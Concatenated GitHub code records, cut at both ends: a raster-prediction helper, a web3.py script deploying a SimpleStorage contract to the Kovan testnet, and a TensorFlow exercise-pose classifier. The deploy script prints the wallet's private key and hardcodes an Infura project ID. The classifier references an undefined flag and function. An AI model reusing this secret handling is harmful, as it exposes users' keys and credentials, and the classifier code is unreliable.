netcdf file with x_dimension along stack_coords\n - a model_file pointing to a Statsmodel model object\n Produces\n - a netcdf file with the predictions added to the original raster in output_raster_path\n '''\n # read in raster and stack the coords\n raster = xr.open_dataset(raster_file).stack(mi=stack_coords)\n # read in model an extract the y_dimension\n model = load(model_file)\n y_dimension = model._results.model.endog_names.replace(' ','_')\n # predic the raster values with the model\n predictions = model.get_prediction(sm.add_constant(raster[x_dimension].data)).summary_frame().add_prefix(y_dimension+'_')\n # add predictions into the raster\n for column in predictions.columns:\n if exp_y_dimension:\n raster[column.replace('Log10_','')] = ('mi', 10**predictions[column].to_numpy())\n y_dimension = y_dimension.replace('Log10_','')\n else:\n raster[column] = ('mi',predictions[column].to_numpy())\n output_file = f'{output_raster_path}/{os.path.splitext(os.path.basename(raster_file))[0]}_{y_dimension}.nc'\n raster.unstack('mi').to_netcdf(output_file)\n return output_file\n\n# @dask.delayed\n# def predict_raster_from_model_files(raster_file,\n# model_files,\n# output_raster_path,\n# x_dimension,\n# exp_y_dimension = True,\n# stack_coords = (\"x\",\"y\",\"z\")):\n# '''\n# Wraps predict_raster_from_model and runs it for each model in model_files\n# '''\n# raster = xr.open_dataset(raster_file)\n# y_dimensions = []\n# for model_file in model_files:\n# model = load(model_file)\n# # get the y dimension from the model\n# y_dimension = model._results.model.endog_names.replace(' ','_')\n# # created a predicted raster stack for each of the models\n# raster = predict_raster_from_model(raster=raster,\n# model=model,\n# x_dimension= x_dimension,\n# y_dimension= y_dimension,\n# exp_y_dimension = exp_y_dimension,\n# stack_coords = stack_coords)\n# y_dimensions.append(y_dimension)\n# # write the raster to a netCDF file\n# output_file = output_raster_path + os.path.splitext(os.path.basename(raster_file))[0]+'_'+'_'.join(y_dimensions)+'.nc'\n# raster.to_netcdf(output_file)\n# return(output_file)","repo_name":"tim-collart/Timbers_Praet_et_al_2023","sub_path":"timbers_code/extract_and_model.py","file_name":"extract_and_model.py","file_ext":"py","file_size_in_byte":22412,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"72395319706","text":"from solcx import compile_standard\nimport json\nfrom web3 import Web3\nfrom dotenv import load_dotenv\nimport os\n\nload_dotenv()\n\nwith open(\"./contracts/SimpleStorage.sol\", \"r\") as file:\n simple_storage_file = file.read()\n\n # print(simple_storage_file)\n\ncompiled_sol = compile_standard(\n {\n \"language\": \"Solidity\",\n \"sources\": {\"SimpleStorage.sol\": {\"content\": simple_storage_file}},\n \"settings\": {\n \"outputSelection\": {\n \"*\": {\"*\": [\"abi\", \"metadata\", \"evm.bytecode\", \"evm.sourceMap\"]}\n }\n },\n },\n solc_version=\"0.6.0\",\n)\n\n# print(compiled_sol)\n\nwith open(\"./contracts/artifacts/compiled_code.json\", \"w\") as file:\n json.dump(compiled_sol, file)\n\nbytecode = compiled_sol[\"contracts\"][\"SimpleStorage.sol\"][\"SimpleStorage\"][\"evm\"][\n \"bytecode\"\n][\"object\"]\n\nabi = compiled_sol[\"contracts\"][\"SimpleStorage.sol\"][\"SimpleStorage\"][\"abi\"]\n# abi = json.loads(\n# compiled_sol[\"contracts\"][\"SimpleStorage.sol\"][\"SimpleStorage\"][\"metadata\"]\n# )[\"output\"][\"abi\"]\n\n### local\n# w3 = Web3(Web3.HTTPProvider(\"http://127.0.0.1:8545\"))\n# chain_id = 1337\n# my_address = \"0x90F8bf6A479f320ead074411a4B0e7944Ea8c9C1\"\n\n### Kovan Testnet\nw3 = Web3(\n Web3.HTTPProvider(\"https://kovan.infura.io/v3/337ebec549e74b9389aae2ae03f25f64\")\n)\nchain_id = 42\nmy_address = \"0x5dA965D122C37aF890eBC4A0cC69161bE26a0837\"\n\n\nprivate_key = os.getenv(\"PRIVATE_KEY\")\nprint(private_key)\n\nSimpleStorage = w3.eth.contract(abi=abi, bytecode=bytecode)\n\nnonce = w3.eth.getTransactionCount(my_address)\n# print(nonce)\n\ntransaction = SimpleStorage.constructor().buildTransaction(\n {\n \"chainId\": chain_id,\n \"gasPrice\": w3.eth.gas_price,\n \"from\": my_address,\n \"nonce\": nonce,\n }\n)\n# print(transaction)\n\nsigned_txn = w3.eth.account.sign_transaction(transaction, private_key=private_key)\n# print(signed_txn)\ntx_hash = w3.eth.send_raw_transaction(signed_txn.rawTransaction)\n# print(tx_hash)\ntx_receipt = w3.eth.wait_for_transaction_receipt(tx_hash)\n# print(tx_receipt)\n\nsimple_storage = w3.eth.contract(address=tx_receipt[\"contractAddress\"], abi=abi)\nprint(simple_storage.functions.retrieve().call())\n# print(simple_storage.functions.store(15).call())\n# print(simple_storage.functions.retrieve().call())\n\nstore_transaction = simple_storage.functions.store(15).buildTransaction(\n {\n \"chainId\": chain_id,\n \"gasPrice\": w3.eth.gas_price,\n \"from\": my_address,\n \"nonce\": nonce + 1,\n }\n)\nsigned_store_txn = w3.eth.account.sign_transaction(\n store_transaction, private_key=private_key\n)\n# print(signed_txn)\nstore_tx_hash = w3.eth.send_raw_transaction(signed_store_txn.rawTransaction)\n# print(tx_hash)\nstore_tx_receipt = w3.eth.wait_for_transaction_receipt(store_tx_hash)\nprint(store_tx_receipt)\n\nprint(simple_storage.functions.retrieve().call())\n","repo_name":"gnoparus/web3_py_simple_storage","sub_path":"deploy.py","file_name":"deploy.py","file_ext":"py","file_size_in_byte":2840,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"2418832091","text":"'''\r\nCMU HCII REU Summer 2018\r\nPI: Dr. Sieworek\r\nStudents: Blake Capella & Deepak Subramanian\r\nDate: 06/26/18\r\n\r\nThe following code trains a neural net by grouping a set number of frames together as a single feature.\r\nThis number of frames is variable, and is controlled by the frames flag.\r\nThe source of the data being used to train the net can be toggled between the natural data (Position) and synthetic/calculated\r\nfeatures (Position, Task). This is controlled by the --source flag.\r\n\r\nMany flags might not be used in this file, they were included for consistency between the multiple training files.\r\n\tpoise_detector_mk*.py\r\n\tpoise_detector_batch_mk*.py\r\n\texercise_detection_mk*.py\r\n\r\n\tUnless otherwise stated, assume highest number to be the most current/advanced file\r\n\r\nMUST HAVE AT LEAST 5 files in order to be used\r\n\r\nAssumes that you are reading from a data library constructed by the task_sequencer_v2.pde file\r\nIf not, organize your data as follows:\r\n\tData\r\n\t\ttest0\r\n\t\t\tPosition_Head.csv (organized by x,y,z,ts)\r\n\t\t\tPosition_Neck.csv\r\n\t\t\t.\r\n\t\t\t.\r\n\t\t\t.\r\n\t\t\tVelocity_Head.csv\r\n\t\t\t.\r\n\t\t\t.\r\n\t\t\t.\r\n\t\t\tTask_Head.csv\r\n\t\ttest1\r\n\t\ttest2\r\n\t\t.\r\n\t\t.\r\n\t\t.\r\n\t\tTestNumber.txt (stores total number of examples/identified actions)\r\n\tTHIS FILE\r\n\r\nOtherwise, organize code as you see fit\r\n\r\n'''\r\n\r\n#Import Libraries\r\nimport math\r\nimport io\r\n\r\n#to get rid of warning\r\nimport os\r\nos.environ['TF_CPP_MIN_LOG_LEVEL'] = '2'\r\n\r\n#Tensorflow and Data Processing Library\r\nimport tensorflow as tf\r\nfrom tensorflow.python.data import Dataset\r\nimport numpy as np\r\nimport pandas as pd\r\nimport math \r\n\r\n#Display libraries for visualization\r\nfrom IPython import display\r\nfrom matplotlib import cm\r\nfrom matplotlib import gridspec\r\nfrom matplotlib import pyplot as plt\r\nfrom sklearn import metrics\r\nimport seaborn as sns\r\nimport glob\r\n\r\n#Define Flags to change the Hyperperameters\r\ntf.app.flags.DEFINE_integer('batch_size',1000,'number of randomly sampled images from the training set')\r\ntf.app.flags.DEFINE_float('learning_rate',0.001,'how quickly the model progresses along the loss curve during optimization')\r\ntf.app.flags.DEFINE_integer('epochs',100,'number of passes over the training data')\r\ntf.app.flags.DEFINE_float('regularization_rate',0.01,'Strength of regularization')\r\ntf.app.flags.DEFINE_string('regularization', 'Default', 'This is the regularization function used in cost calcuations')\r\ntf.app.flags.DEFINE_string('activation', 'Default', 'This is the activation function to use in the layers')\r\ntf.app.flags.DEFINE_string('label', 'test1', 'This is the label name where the files are saved')\r\ntf.app.flags.DEFINE_integer('frames', 5, 'Number of frames to be analyzed at a time')\r\ntf.app.flags.DEFINE_string('source', 'Position', 'What files to draw data from (Task, Velocity, Position)')\r\ntf.app.flags.DEFINE_string('arch', 'method1', 'This specifies the architecture used')\r\n\r\n\r\nFLAGS = tf.app.flags.FLAGS\r\n\r\nTRAIN_PERCENT = 0.7\r\nVALIDATION_PERCENT = 0.2\r\nTEST_PERCENT = 0.1\r\n\r\n#store file names\r\nfile_names =[\r\n'Head.csv', \r\n'Neck.csv', \r\n'SpineShoulder.csv', \r\n'SpineMid.csv',\r\n'SpineBase.csv', \r\n'ShoulderRight.csv', \r\n'ShoulderLeft.csv', \r\n'HipRight.csv',\r\n'HipLeft.csv', \r\n'ElbowRight.csv', \r\n'WristRight.csv', \r\n'HandRight.csv', \r\n'HandTipRight.csv', \r\n'ThumbRight.csv', \r\n'ElbowLeft.csv', \r\n'WristLeft.csv', \r\n'HandLeft.csv', \r\n'HandTipLeft.csv', \r\n'ThumbLeft.csv', \r\n'HipRight.csv',\r\n'KneeRight.csv', \r\n'AnkleRight.csv', \r\n'FootRight.csv', \r\n'HipLeft.csv', \r\n'KneeLeft.csv',\r\n'AnkleLeft.csv', \r\n'FootLeft.csv']\r\n\r\n#store bodypart names without the file extensions\r\nbodyParts =[\r\n'Head', \r\n'Neck', \r\n'SpineShoulder', \r\n'SpineMid',\r\n'SpineBase', \r\n'ShoulderRight', \r\n'ShoulderLeft', \r\n'HipRight',\r\n'HipLeft', \r\n'ElbowRight', \r\n'WristRight', \r\n'HandRight', \r\n'HandTipRight', \r\n'ThumbRight', \r\n'ElbowLeft', \r\n'WristLeft', \r\n'HandLeft', \r\n'HandTipLeft', \r\n'ThumbLeft', \r\n'HipRight',\r\n'KneeRight', \r\n'AnkleRight', \r\n'FootRight', \r\n'HipLeft', \r\n'KneeLeft',\r\n'AnkleLeft', \r\n'FootLeft']\r\n\r\n#Set the read path to the data folder of the current working directory (allows github upload of data)\r\ndirname = os.path.realpath('.')\r\nfilename = dirname + '\\\\Data\\\\TestNumber.txt'\r\n\r\n#Creating a folder to save the results\r\nfolderName = FLAGS.label + \"E\" + str(FLAGS.epochs) + \"LR\" + str(FLAGS.learning_rate) + FLAGS.activation + FLAGS.regularization + \"RR\" + str(FLAGS.regularization_rate) + FLAGS.arch\r\nnewDir = dirname + '\\\\Models&Results\\\\' + folderName\r\nif not (os.path.exists(newDir)):\r\n\tos.makedirs(newDir)\r\n\r\nresultsFile = open(newDir + '\\\\Results.txt',\"w+\")\r\n\r\n#Read the number of files(events) that the data contains from the TestNumber.txt file\r\nnumberTestFiles = open(filename,\"r\")\r\nnumberTests = numberTestFiles.read()\r\nprint(\"Number of Filed Detected: \", numberTests)\r\nresultsFile.write(\"Number of Filed Detected: \" + str(numberTests) + '\\n')\r\n\r\narch = FLAGS.arch\r\n\r\n#GLOBAL\r\n#network parameters:\r\nhiddenLayer1 = 30\r\nhiddenLayer2 = 30\r\nhiddenLayer3 = 30\r\nhiddenLayer4 = 30\r\nnumberClasses = 11\r\n\r\n#batch Index variable\r\nbatchIndex = 0\r\n\r\n#Determine the maximum/longest running event in the group of seperate tests\r\n#used to define size of the arrays\r\nmaxEntries = 0\r\ntimeScores = []\r\nfor i in range(0,int(numberTests)):\r\n\tnumEntries = 0\r\n\tfor line in open(dirname + \"\\\\Data\\\\test\" + str(i) + \"\\\\\" + FLAGS.source + \"_\" + file_names[0]):\r\n\t\tnumEntries = numEntries + 1\r\n\tif numEntries > maxEntries:\r\n\t\tmaxEntries = numEntries\t\r\n\ttimeScores.append(numEntries)\r\nprint(\"Maximum Number of Entries in a Single Exercise: \", maxEntries)\r\nresultsFile.write(\"Maximum Number of Entries in Single Exercise: \" + str(maxEntries) + '\\n')\r\n\r\n#read data from files into a flattened array\r\n#each time stamp is a single row and has a corresponding event label... the row containse the xyz for each bodypart\r\n#[Arm1xyz, Head1xyz, Foot1xyz, ...] EVENT 10\r\n#[Arm2xyz, Head2xyz, Foot2xyz, ...] EVENT 2\r\n\r\ndef extractData():\r\n\tdata = np.empty((int((sum(timeScores))/FLAGS.frames), int(FLAGS.frames*27*3)))\r\n\tnumTimeStamps = 0\r\n\t\r\n\tfor i in range(0, int(numberTests)):\r\n\t\t#Determine the number of time stamps in this event\r\n\t\tfor l in range(numTimeStamps,numTimeStamps+timeScores[i]):\r\n\t\t\tif l%FLAGS.frames == 0:\r\n\t\t\t\tk=0\r\n\t\t\tw=0\r\n\t\t\tfor j in range(0, 27):\r\n\t\t\t\tfp = open(dirname + \"\\\\Data\\\\test\" + str(i)+ \"\\\\\" + FLAGS.source + \"_\" + file_names[j])\r\n\t\t\t\tfor n, line in enumerate(fp):\r\n\t\t\t\t\tif n == w:\r\n\t\t\t\t\t\trow = line.split(',')\r\n\t\t\t\t\t\tfor m in range(0,3):\r\n\t\t\t\t\t\t\tdata[l][k]= row[m]\r\n\t\t\t\t\t\t\tk = k + 1\r\n\t\t\tw = w+1\r\n\r\n\tfp.close()\r\n\tlabels = []\r\n\t#seperate the label from the name and event number stored within the label.csv file(s)\r\n\tfor i in range (0, int(numberTests)):\r\n\t\tfor line in open(dirname + \"\\\\Data\\\\test\" + str(i)+ \"\\\\label.csv\"):\r\n\t\t\ttemporaryLabel = line.split()\r\n\t\t\t\r\n\t\t\tfor j in range(0,int(timeScores[i]/FLAGS.frames)):\r\n\t\t\t\tlabels.append(str(temporaryLabel[0]))\r\n\t\r\n\t#shuffle the data\r\n\tshuffledData = np.empty(data.shape, dtype=data.dtype)\r\n\tshuffledLabels = labels\r\n\tpermutation = np.random.permutation(len(labels))\r\n\tfor old_index, new_index in enumerate(permutation):\r\n\t\tshuffledData[new_index] = data[old_index]\r\n\t\tshuffledLabels[new_index] = labels[old_index]\r\n\r\n\tshuffledLabels = np.asarray(shuffledLabels)\r\n\treturn shuffledData, shuffledLabels\r\n\r\ndef partitionData(features, labels):\r\n\t#Divides the total data up into training, validation, and test sets\r\n\t#division based off of percentages stored at the top of the code\r\n\ttrain = math.floor(float(sum(timeScores)/FLAGS.frames) * TRAIN_PERCENT)\r\n\tvalidation = math.floor(float(sum(timeScores)/FLAGS.frames) * VALIDATION_PERCENT)\r\n\ttest = math.ceil(float(sum(timeScores)/FLAGS.frames) * TEST_PERCENT)\r\n\r\n\ttrainLabels = labels[:train]\r\n\ttrainFeatures = features[:train]\r\n\tvalidationLabels = labels[train:train+validation]\r\n\tvalidationFeatures = features[train:train+validation]\r\n\ttestLabels = labels[validation:validation+test]\r\n\ttestFeatures = features[validation:validation+test]\r\n\t\r\n\t#Output details on the data we are using\r\n\tprint(\"Number of Training Cases: \", train)\r\n\tresultsFile.write(\"Number of Training Cases: \" + str(train) + '\\n')\r\n\tprint(\"Training Labels (Randomized): \", trainLabels)\r\n\t\r\n\tprint(\"Number of Validation Cases: \", validation)\r\n\tresultsFile.write(\"Number of Validation Cases: \" + str(validation) + '\\n')\r\n\tprint(\"Validation Labels (Randomized): \", validationLabels)\r\n\t\r\n\tprint(\"Number of Test Cases: \", test)\r\n\tresultsFile.write(\"Number of Test Cases: \" + str(test) + '\\n')\r\n\tprint(\"Test Lables (Randomized): \", testLabels)\r\n\t\r\n\treturn trainLabels, trainFeatures, train, validationLabels, validationFeatures, validation, testLabels, testFeatures, test\r\n\r\ndef oneHot(labels):\r\n\t#give each exercise a single numeric representation\r\n\t#necessary for converting to tf.DataFrame\r\n\tone_hot_labels = []\r\n\tfor i in range(0,len(labels)):\r\n\t\tif labels[i].lower() == \"y\":\r\n\t\t\tone_hot_labels.append([1,0,0,0,0,0,0,0,0,0,0])\r\n\t\telif labels[i].lower() == \"cat\":\r\n\t\t\tone_hot_labels.append([0,1,0,0,0,0,0,0,0,0,0])\r\n\t\telif labels[i].lower() == \"supine\":\r\n\t\t\tone_hot_labels.append([0,0,1,0,0,0,0,0,0,0,0])\r\n\t\telif labels[i].lower() == \"seated\":\r\n\t\t\tone_hot_labels.append([0,0,0,1,0,0,0,0,0,0,0])\r\n\t\telif labels[i].lower() == \"sumo\":\r\n\t\t\tone_hot_labels.append([0,0,0,0,1,0,0,0,0,0,0])\r\n\t\telif labels[i].lower() == \"mermaid\":\r\n\t\t\tone_hot_labels.append([0,0,0,0,0,1,0,0,0,0,0])\r\n\t\telif labels[i].lower() == \"towel\":\r\n\t\t\tone_hot_labels.append([0,0,0,0,0,0,1,0,0,0,0])\r\n\t\telif labels[i].lower() == \"trunk\":\r\n\t\t\tone_hot_labels.append([0,0,0,0,0,0,0,1,0,0,0])\r\n\t\telif labels[i].lower() == \"wall\":\r\n\t\t\tone_hot_labels.append([0,0,0,0,0,0,0,0,1,0,0])\r\n\t\telif labels[i].lower() == \"pretzel\":\r\n\t\t\tone_hot_labels.append([0,0,0,0,0,0,0,0,0,1,0])\r\n\t\telse: #OOV\r\n\t\t\tone_hot_labels.append([0,0,0,0,0,0,0,0,0,0,1])\r\n\tone_hot_labels = np.asarray(one_hot_labels)\r\n\tprint(\"Lable Encoding Complete\")\r\n\treturn one_hot_labels\r\n\r\n\r\n#creates the model\r\ndef multilayer_perception(x, weights, biases):\r\n\tactivation = FLAGS.activation\r\n\tif (arch == \"method1\" and activation == \"Sigmoid\"):\r\n\t\tprint('Activation Layer: sigmoid \\n Architecture Used: method1 \\n')\r\n\t\t#Layers\r\n\t\tlayer1 = tf.nn.sigmoid(tf.add(tf.matmul(x, weights['h1']), biases['b1']))\r\n\t\tlayer2 = tf.nn.sigmoid(tf.add(tf.matmul(layer1, weights['h2']), biases['b2']))\r\n\t\tlayer3 = tf.nn.sigmoid(tf.add(tf.matmul(layer2, weights['h3']), biases['b3']))\r\n\t\toutLayer = tf.add(tf.matmul(layer3, weights['out']), biases['out'])\r\n\t\treturn outLayer\r\n\telif (arch == \"method1\" and activation == \"Tanh\"):\r\n\t\tprint('Activation Layer: tanh \\n Architecture Used: method1 \\n ')\r\n\t\t#Layers\r\n\t\tlayer1 = tf.nn.tanh(tf.add(tf.matmul(x, weights['h1']), biases['b1']))\r\n\t\tlayer2 = tf.nn.tanh(tf.add(tf.matmul(layer1, weights['h2']), biases['b2']))\r\n\t\tlayer3 = tf.nn.tanh(tf.add(tf.matmul(layer2, weights['h3']), biases['b3']))\r\n\t\toutLayer = tf.add(tf.matmul(layer3, weights['out']), biases['out'])\r\n\t\treturn outLayer\r\n\telif (arch == \"method1\" and activation == \"Relu\"):\r\n\t\tprint('Activation Layer: relu \\n Architecture Used: method1 \\n ')\r\n\t\t#Layers\r\n\t\tlayer1 = tf.nn.relu(tf.add(tf.matmul(x, weights['h1']), biases['b1']))\r\n\t\tlayer2 = tf.nn.relu(tf.add(tf.matmul(layer1, weights['h2']), biases['b2']))\r\n\t\tlayer3 = tf.nn.relu(tf.add(tf.matmul(layer2, weights['h3']), biases['b3']))\r\n\t\toutLayer = tf.add(tf.matmul(layer3, weights['out']), biases['out'])\r\n\t\treturn outLayer\r\n\telif (arch == \"method1\" and activation == \"Default\"):\r\n\t\tprint('Activation Layer: none \\n Architecture Used: method1 \\n ')\r\n\t\t#Layers\r\n\t\tlayer1 = tf.add(tf.matmul(x, weights['h1']), biases['b1'])\r\n\t\tlayer2 = tf.add(tf.matmul(layer1, weights['h2']), biases['b2'])\r\n\t\tlayer3 = tf.add(tf.matmul(layer2, weights['h3']), biases['b3'])\r\n\t\toutLayer = tf.add(tf.matmul(layer3, weights['out']), biases['out'])\r\n\t\treturn outLayer\r\n\telif (arch == \"method2\" and activation == \"Sigmoid\"):\r\n\t\tprint('Activation Layer: sigmoid \\n Architecture Used: method2 \\n')\r\n\t\t#Layers\r\n\t\tlayer1 = tf.nn.sigmoid(tf.add(tf.matmul(x, weights['h1']), biases['b1']))\r\n\t\tlayer2 = tf.nn.sigmoid(tf.add(tf.matmul(layer1, weights['h2']), biases['b2']))\r\n\t\toutLayer = tf.add(tf.matmul(layer2, weights['out']), biases['out'])\r\n\t\treturn outLayer\r\n\telif (arch == \"method2\" and activation == \"Tanh\"):\r\n\t\tprint('Activation Layer: tanh \\n Architecture Used: method2 \\n')\r\n\t\t#Layers\r\n\t\tlayer1 = tf.nn.tanh(tf.add(tf.matmul(x, weights['h1']), biases['b1']))\r\n\t\tlayer2 = tf.nn.tanh(tf.add(tf.matmul(layer1, weights['h2']), biases['b2']))\r\n\t\toutLayer = tf.add(tf.matmul(layer2, weights['out']), biases['out'])\r\n\t\treturn outLayer\r\n\telif (arch == \"method2\" and activation == \"Relu\"):\r\n\t\tprint('Activation Layer: relu \\n Architecture Used: method2 \\n')\r\n\t\t#Layers\r\n\t\tlayer1 = tf.nn.relu(tf.add(tf.matmul(x, weights['h1']), biases['b1']))\r\n\t\tlayer2 = tf.nn.relu(tf.add(tf.matmul(layer1, weights['h2']), biases['b2']))\r\n\t\toutLayer = tf.add(tf.matmul(layer2, weights['out']), biases['out'])\r\n\t\treturn outLayer\r\n\telif (arch == \"method2\" and activation == \"Default\"):\r\n\t\tprint('Activation Layer: none \\n Architecture Used: method2 \\n')\r\n\t\t#Layers\r\n\t\tlayer1 = tf.add(tf.matmul(x, weights['h1']), biases['b1'])\r\n\t\tlayer2 = tf.add(tf.matmul(layer1, weights['h2']), biases['b2'])\r\n\t\toutLayer = tf.add(tf.matmul(layer2, weights['out']), biases['out'])\r\n\t\treturn outLayer\r\n\telif (arch == \"method3\" and activation == \"Sigmoid\"):\r\n\t\tprint('Activation Layer: sigmoid \\n Architecture Used: method3 \\n')\r\n\t\t#Layers\r\n\t\tlayer1 = tf.nn.sigmoid(tf.add(tf.matmul(x, weights['h1']), biases['b1']))\r\n\t\tlayer2 = tf.nn.sigmoid(tf.add(tf.matmul(layer1, weights['h2']), biases['b2']))\r\n\t\tlayer3 = tf.nn.sigmoid(tf.add(tf.matmul(layer2, weights['h3']), biases['b3']))\r\n\t\tlayer4 = tf.nn.sigmoid(tf.add(tf.matmul(layer3, weights['h4']), biases['b4']))\r\n\t\toutLayer = tf.add(tf.matmul(layer4, weights['out']), biases['out'])\r\n\t\treturn outLayer\r\n\telif (arch == \"method3\" and activation == \"Tanh\"):\r\n\t\tprint('Activation Layer: tanh \\n Architecture Used: method3 \\n')\r\n\t\t#Layers\r\n\t\tlayer1 = tf.nn.sigmoid(tf.add(tf.matmul(x, weights['h1']), biases['b1']))\r\n\t\tlayer2 = tf.nn.sigmoid(tf.add(tf.matmul(layer1, weights['h2']), biases['b2']))\r\n\t\tlayer3 = tf.nn.sigmoid(tf.add(tf.matmul(layer2, weights['h3']), biases['b3']))\r\n\t\tlayer4 = tf.nn.sigmoid(tf.add(tf.matmul(layer3, weights['h4']), biases['b4']))\r\n\t\toutLayer = tf.add(tf.matmul(layer4, weights['out']), biases['out'])\r\n\t\treturn outLayer\r\n\telif (arch == \"method3\" and activation == \"Relu\"):\r\n\t\tprint('Activation Layer: relu \\n Architecture Used: method3 \\n')\r\n\t\t#Layers\r\n\t\tlayer1 = tf.nn.sigmoid(tf.add(tf.matmul(x, weights['h1']), biases['b1']))\r\n\t\tlayer2 = tf.nn.sigmoid(tf.add(tf.matmul(layer1, weights['h2']), biases['b2']))\r\n\t\tlayer3 = tf.nn.sigmoid(tf.add(tf.matmul(layer2, weights['h3']), biases['b3']))\r\n\t\tlayer4 = tf.nn.sigmoid(tf.add(tf.matmul(layer3, weights['h4']), biases['b4']))\r\n\t\toutLayer = tf.add(tf.matmul(layer4, weights['out']), biases['out'])\r\n\t\treturn outLayer\r\n\telif (arch == \"method3\" and activation == \"Default\"):\r\n\t\tprint('Activation Layer: none \\n Architecture Used: method3 \\n')\r\n\t\t#Layers\r\n\t\tlayer1 = tf.nn.sigmoid(tf.add(tf.matmul(x, weights['h1']), biases['b1']))\r\n\t\tlayer2 = tf.nn.sigmoid(tf.add(tf.matmul(layer1, weights['h2']), biases['b2']))\r\n\t\tlayer3 = tf.nn.sigmoid(tf.add(tf.matmul(layer2, weights['h3']), biases['b3']))\r\n\t\tlayer4 = tf.nn.sigmoid(tf.add(tf.matmul(layer3, weights['h4']), biases['b4']))\r\n\t\toutLayer = tf.add(tf.matmul(layer4, weights['out']), biases['out'])\r\n\t\treturn outLayer\r\n\r\ndef nextBatch(batchSize, trainNumber):\r\n\tglobal batchIndex\r\n\tstart = batchIndex\r\n\tbatchIndex += batchSize\r\n\tif batchIndex > trainNumber:\r\n\t\tbatchIndex = trainNumber\r\n\tend = batchIndex\r\n\treturn start, end\r\n\r\ndef main(argv = None):\r\n\t#Call all methods defined above and determine the shape of the network\r\n\tlearningRate = FLAGS.learning_rate\r\n\tepochsTrained = FLAGS.epochs\r\n\tbatchSize = FLAGS.batch_size\r\n\t#display step\r\n\r\n\tdata, labels = extractData()\r\n\tlabelText = labels\r\n\tlabels = oneHot(labels)\r\n\r\n\tinputLayer = FLAGS.frames*27*3\r\n\r\n\tinit = tf.global_variables_initializer()\r\n\r\n\t#tf Graph input\r\n\tX = tf.placeholder(data.dtype, [None, inputLayer])\r\n\tY = tf.placeholder(labels.dtype, [None, numberClasses])\r\n\r\n\tif (arch == 'method1'):\r\n\t\tweights = {\r\n\t\t'h1' : tf.Variable(tf.zeros([inputLayer, hiddenLayer1], dtype=data.dtype, name='h1')),\r\n\t\t'h2' : tf.Variable(tf.zeros([hiddenLayer1, hiddenLayer2], dtype=data.dtype, name ='h2')),\r\n\t\t'h3' : tf.Variable(tf.zeros([hiddenLayer2, hiddenLayer3], dtype=data.dtype, name ='h3')),\r\n\t\t'out' : tf.Variable(tf.zeros([hiddenLayer3, numberClasses], dtype=data.dtype, name = 'out'))\r\n\t\t}\r\n\r\n\t\tbiases = {\r\n\t\t'b1' : tf.Variable(tf.zeros([hiddenLayer1], dtype=data.dtype, name = 'b1')),\r\n\t\t'b2' : tf.Variable(tf.zeros([hiddenLayer2], dtype=data.dtype, name = 'b2')),\r\n\t\t'b3' : tf.Variable(tf.zeros([hiddenLayer3], dtype=data.dtype, name = 'b3')),\r\n\t\t'out' : tf.Variable(tf.zeros([numberClasses], dtype=data.dtype, name = 'outb'))\r\n\t\t}\r\n\telif (arch == \"method2\"):\r\n\t\tweights = {\r\n\t\t'h1' : tf.Variable(tf.zeros([inputLayer, hiddenLayer1], dtype=data.dtype, name='h1')),\r\n\t\t'h2' : tf.Variable(tf.zeros([hiddenLayer1, hiddenLayer2], dtype=data.dtype, name='h2')),\r\n\t\t'out' : tf.Variable(tf.zeros([hiddenLayer2, numberClasses], dtype=data.dtype, name='out'))\r\n\t\t}\r\n\r\n\t\tbiases = {\r\n\t\t'b1' : tf.Variable(tf.zeros([hiddenLayer1], dtype=data.dtype, name = 'b1')),\r\n\t\t'b2' : tf.Variable(tf.zeros([hiddenLayer2], dtype=data.dtype, name = 'b2')),\r\n\t\t'out' : tf.Variable(tf.zeros([numberClasses], dtype=data.dtype, name = 'outb'))\r\n\t\t}\r\n\telse:\r\n\t\tweights = {\r\n\t\t'h1' : tf.Variable(tf.zeros([inputLayer, hiddenLayer1], dtype=data.dtype, name='h1')),\r\n\t\t'h2' : tf.Variable(tf.zeros([hiddenLayer1, hiddenLayer2], dtype=data.dtype, name='h2')),\r\n\t\t'h3' : tf.Variable(tf.zeros([hiddenLayer2, hiddenLayer3], dtype=data.dtype, name='h3')),\r\n\t\t'h4' : tf.Variable(tf.zeros([hiddenLayer3, hiddenLayer4], dtype=data.dtype, name='h4')),\r\n\t\t'out' : tf.Variable(tf.zeros([hiddenLayer4, numberClasses], dtype=data.dtype, name='out'))\r\n\t\t}\r\n\r\n\t\tbiases = {\r\n\t\t'b1' : tf.Variable(tf.zeros([hiddenLayer1], dtype=data.dtype, name = 'b1')),\r\n\t\t'b2' : tf.Variable(tf.zeros([hiddenLayer2], dtype=data.dtype, name = 'b2')),\r\n\t\t'b3' : tf.Variable(tf.zeros([hiddenLayer3], dtype=data.dtype, name = 'b3')),\r\n\t\t'b4' : tf.Variable(tf.zeros([hiddenLayer4], dtype=data.dtype, name = 'b4')),\t\t\r\n\t\t'out' : tf.Variable(tf.zeros([numberClasses], dtype=data.dtype, name = 'bout'))\r\n\t\t}\r\n\r\n\tsaver = tf.train.Saver()\r\n\r\n\r\n\tmodelPath = newDir + \"\\\\ExercisePredicter\"\r\n\twith tf.Session() as sess:\r\n\r\n\t\tsaver.restore(sess, modelPath )\r\n\r\n\t\tsess.run(weights)\r\n\t\tsess.run(biases)\r\n\t\t\r\n\t\tlogits = multilayer_perception(data, sess.run(weights), sess.run(biases))\r\n\t\tpred = tf.nn.softmax(logits)\r\n\r\n\t\tif (FLAGS.mode == \"test\"):\r\n\t\t\tcorrect_prediction = tf.equal(tf.argmax(pred, 1), tf.argmax(labels, 1))\r\n\t\t\taccuracy = tf.reduce_mean(tf.cast(correct_prediction, \"float\"))\r\n\t\t\tprint(\"Final Accuracy on new Data is: \", \"{0:.2%}\".format(sess.run(accuracy)), '\\n')\r\n\t\t\tpredictions = tf.argmax(pred,1).eval()\r\n\t\t\tpredictions = findExercise(predictions) \r\n\t\t\tprint(\"My predictions\", predictions, '\\n')\r\n\t\t\tprint(\"Original predictions\", labelText)\r\n\t\telse: \t\t\r\n\t\t\tpredictions = tf.argmax(pred,1).eval()\r\n\t\t\tpredictions = findExercise(predictions) \r\n\t\t\tprint(\"My preditions\", predictions)\r\n\t\t\r\n\t\r\n#needed in order to call main\r\nif __name__ == 